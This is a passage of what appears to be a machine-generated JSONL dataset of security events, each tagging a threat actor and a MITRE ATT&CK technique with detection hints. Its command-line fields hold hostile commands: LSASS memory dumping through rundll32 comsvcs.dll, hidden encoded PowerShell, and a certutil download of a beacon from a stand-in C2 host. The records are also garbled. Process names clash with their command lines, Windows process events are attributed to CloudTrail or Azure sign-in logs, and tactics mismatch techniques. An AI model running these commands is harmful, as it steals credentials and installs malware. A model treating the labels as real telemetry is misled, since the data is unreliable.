C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-06-23T19:36:56.000Z","user":{"name":"svc_hufox2w7pu31","sid":"S-1-5-21-542207306-756416814-6473"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Lateral Movement","Defense Evasion"],"technique_id":"T1570"},"event_id":"evt_apt29_20260929T181907000Z_0004191","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.190.63.94","name":"WIN-FIN-SRV-JCEPUN2J7Z","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4191APT29T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.151.71.197","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3861 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-03-04T03:27:54.000Z","user":{"name":"i-jgmxioitfpjj","sid":"S-1-5-21-646078862-519575987-4493"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Defense Evasion","Initial Access","Credential Access"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20250728T194159000Z_0004193","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.111.192.152","name":"EC2-INST-OWWYBRHMEO","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4193Lapsus$T1546.003"},"network":{"domain":"github.com","dst_ip":"1.65.137.208","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"bitsadmin.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-09-28T03:13:17.000Z","user":{"name":"arn:aws:iam::6nt15m6zqb9d","sid":"S-1-5-21-318105723-865599368-8586"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Persistence"],"technique_id":"T1531"},"event_id":"evt_apt29_20250824T011835000Z_0004195","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.18.194.3","name":"WIN-FIN-SRV-K5YFBNNOQ5","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4195APT29T1531"},"network":{"domain":"github.com","dst_ip":"1.0.211.241","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-12-11T17:59:09.000Z","user":{"name":"i-efpiywccgeah","sid":"S-1-5-21-763966699-930844485-8265"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Exfiltration","Privilege Escalation","Discovery"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20260427T113523000Z_0004197","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.83.54.178","name":"APP-WEB-IUTCD9B2MZ","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4197Volt TyphoonT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.175.85.79","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1258 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-07-23T10:13:09.000Z","user":{"name":"svc_et2btroutqt6","sid":"S-1-5-21-311000601-394414927-2060"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Persistence","Impact"],"technique_id":"T1531"},"event_id":"evt_lapsus_20260306T070516000Z_0004199","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.131.23.216","name":"AZURE-VM-G288GTXJH5","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"4199Lapsus$T1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.61.208.224","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-11-06T05:30:16.000Z","user":{"name":"azuread\\zx3sgkhjrih8","sid":"S-1-5-21-364781467-334712805-4343"}}